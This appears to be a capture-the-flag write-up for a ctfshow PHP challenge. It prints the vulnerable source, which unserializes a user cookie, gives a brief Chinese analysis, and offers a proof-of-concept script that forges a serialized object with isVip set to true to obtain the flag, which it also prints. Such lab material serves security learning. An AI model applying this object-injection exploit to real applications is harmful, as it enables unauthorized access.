nginx/1.16.1PHP/7.3.11
<?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-12-02 17:44:47
# @Last Modified by: h1xa
# @Last Modified time: 2020-12-02 19:29:02
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/
error_reporting(0);
highlight_file(__FILE__);
include('flag.php');
class ctfShowUser{
public $username='xxxxxx';
public $password='xxxxxx';
public $isVip=false;
public function checkVip(){
return $this->isVip;
}
public function login($u,$p){
return $this->username===$u&&$this->password===$p;
}
public function vipOneKeyGetFlag(){
if($this->isVip){
global $flag;
echo "your flag is ".$flag;
}else{
echo "no vip, no flag";
}
}
}
$username=$_GET['username'];
$password=$_GET['password'];
if(isset($username) && isset($password)){
$user = unserialize($_COOKIE['user']);
if($user->login($username,$password)){
if($user->checkVip()){
$user->vipOneKeyGetFlag();
}
}else{
echo "no vip,no flag";
}
}
分析:
即要满足
- 类成员
isVip
为true
- 传入的
username
和 类成员username
相等 - 传入的
password
和 类成员password
相等
username 和 password 已知,反序列化修改 isVip
即可
poc
<?php
class ctfShowUser{}
$user = new ctfShowUser();
$user->isVip = true;
echo urlencode(serialize($user));
?>
flag
ctfshow{d59167b1-43df-4611-8907-3f77869aa875}